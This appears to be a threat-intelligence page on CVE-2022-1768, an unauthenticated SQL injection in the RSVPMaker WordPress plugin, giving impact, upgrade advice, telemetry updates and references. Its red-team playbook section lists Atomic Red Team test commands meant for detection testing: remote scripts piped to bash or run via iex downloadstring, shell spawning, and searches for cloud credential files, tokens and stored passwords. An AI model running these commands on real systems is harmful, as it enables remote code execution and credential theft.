CVE-2022-1768
Overview
This vulnerability is an unauthenticated SQL Injection caused by improper escaping and lack of parameterization of user-supplied input within the RSVPMaker WordPress plugin. The flaw exists specifically in the rsvpmaker-email.php file, where multiple SQL queries incorporate unsanitized data directly, enabling injection. The affected component is the SQL query handling mechanism in RSVPMaker versions up to and including 9.3.2.
Vulnerability Description
The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to insufficient escaping and parameterization on user supplied data passed to multiple SQL queries in the ~/rsvpmaker-email.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to, and including, 9.3.2. Please note that this is separate from CVE-2022-1453 & CVE-2022-1505.
Impact
An unauthenticated attacker can leverage this SQL Injection to extract sensitive database information, including potentially user data and configuration details. No authentication or user interaction is required, and the vulnerability is exploitable remotely over the network. This can lead to data breaches and compromise of the WordPress site's confidentiality, integrity, and availability, consistent with the CVSS vector indicating high impact and no privileges required (AV:N/AC:L/PR:N/UI:N).
Solution
Users should upgrade the RSVPMaker WordPress plugin to a version later than 9.3.2 where this vulnerability has been addressed. Detailed patch information and remediation steps are available in the Wordfence vulnerability advisory at https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1768. No alternative workarounds are specified; applying the official update is required to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The RSVPMaker plugin for WordPress exhibits a critical vulnerability characterized by unauthenticated SQL Injection, primarily due to inadequate escaping and parameterization of user-supplied data. This flaw is present in the ~/rsvpmaker-email.php file and affects versions up to and including 9.3.2. The lack of proper input validation allows attackers to manipulate SQL queries executed by the application, potentially leading to unauthorized access to the underlying database. By injecting malicious SQL code, an attacker can retrieve sensitive information, including user credentials, personal data, and other confidential records stored within the database. This vulnerability underscores the importance of robust coding practices, particularly in web applications that handle user input.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the application's web interface. An attacker, without the need for authentication, can craft specially formatted requests that exploit the SQL injection flaw. For instance, by submitting crafted input through forms or URL parameters, an attacker could execute arbitrary SQL commands. This could lead to data exfiltration, where sensitive information is extracted from the database. In more severe scenarios, attackers may also modify or delete records, leading to data integrity issues. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability particularly dangerous, as it lowers the barrier for potential attackers.
The real-world impact of this vulnerability can be significant, especially for organizations relying on the RSVPMaker plugin for event management and communication. The risk extends beyond mere data theft; unauthorized access to sensitive information can lead to reputational damage, loss of customer trust, and potential legal ramifications due to data protection regulations. Businesses may face financial losses from remediation efforts, potential fines, and the costs associated with public relations campaigns to mitigate reputational damage. Furthermore, if attackers leverage the stolen data for phishing campaigns or identity theft, the consequences could extend to affected users, compounding the overall impact on the organization.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the RSVPMaker plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Employing web application firewalls (WAFs) can help filter out malicious requests and provide an additional layer of security against SQL injection attacks. Additionally, conducting regular security audits and penetration testing can identify potential vulnerabilities before they are exploited. Educating developers on secure coding practices, particularly regarding input validation and parameterized queries, is essential to prevent similar vulnerabilities in the future. Organizations should also monitor their databases for unusual activity, which could indicate an ongoing attack or data breach.
In conclusion, the SQL Injection vulnerability in the RSVPMaker plugin poses a significant threat to organizations utilizing this WordPress extension. The potential for unauthorized data access and manipulation highlights the need for stringent security measures and proactive management of web applications. By adopting best practices in security, organizations can mitigate the risks associated with this vulnerability and protect their sensitive data from malicious actors.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-1768, with telemetry indicating a significant increase in exploitation attempts targeting the RSVPMaker WordPress plugin. This surge coincides with an updated CVSS score reflecting a critical severity level, underscoring the heightened risk posed by this unauthenticated SQL injection vulnerability. Although no new exploit variants have been publicly disclosed, the stable yet elevated EPSS score suggests persistent attacker interest and a sustained likelihood of exploitation in the near term. For defenders, this development signals an urgent need to reassess exposure and monitoring strategies, as the amplified detection trend indicates that threat actors are actively probing for vulnerable instances. Consequently, the threat level associated with CVE-2022-1768 has escalated to critical, reflecting both increased adversary activity and the potential for significant data compromise in affected environments.
Update 2 — June 23, 2026
CSURFACE threat intelligence has identified a modest uptick in detection activity related to CVE-2022-1768, indicating continued adversary interest despite a pronounced decline in the EPSS score. While the overall likelihood of exploitation appears to be decreasing based on probabilistic modeling, our telemetry reveals that threat actors persist in probing for vulnerable RSVPMaker instances. This divergence between detection trends and EPSS scoring suggests that attackers may be conducting low-volume or targeted reconnaissance rather than widespread exploitation campaigns at this time. The sustained presence of unauthenticated SQL injection attempts underscores the ongoing risk of sensitive data exposure in affected environments. Consequently, the threat level remains elevated, warranting sustained vigilance as attackers maintain a foothold for potential opportunistic exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Carrcommunications | Rsvpmaker | All |
cpe:2.3:a:carrcommunications:rsvpmaker:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-1768 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c1d02646-271a-4079-8a47-00b4029e9c1f?source=cve |
| gist.github.com |
GitHub CVE
|
https://gist.github.com/Xib3rR4dAr/441d6bb4a5b8ad4b25074a49210a02cc |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1768 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2725322%40rsvpmaker&new=2725322%40rsvpmaker&sfp_email=&sfph_mail= |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/176549/WordPress-RSVPMaker-9.3.2-SQL-Injection.html |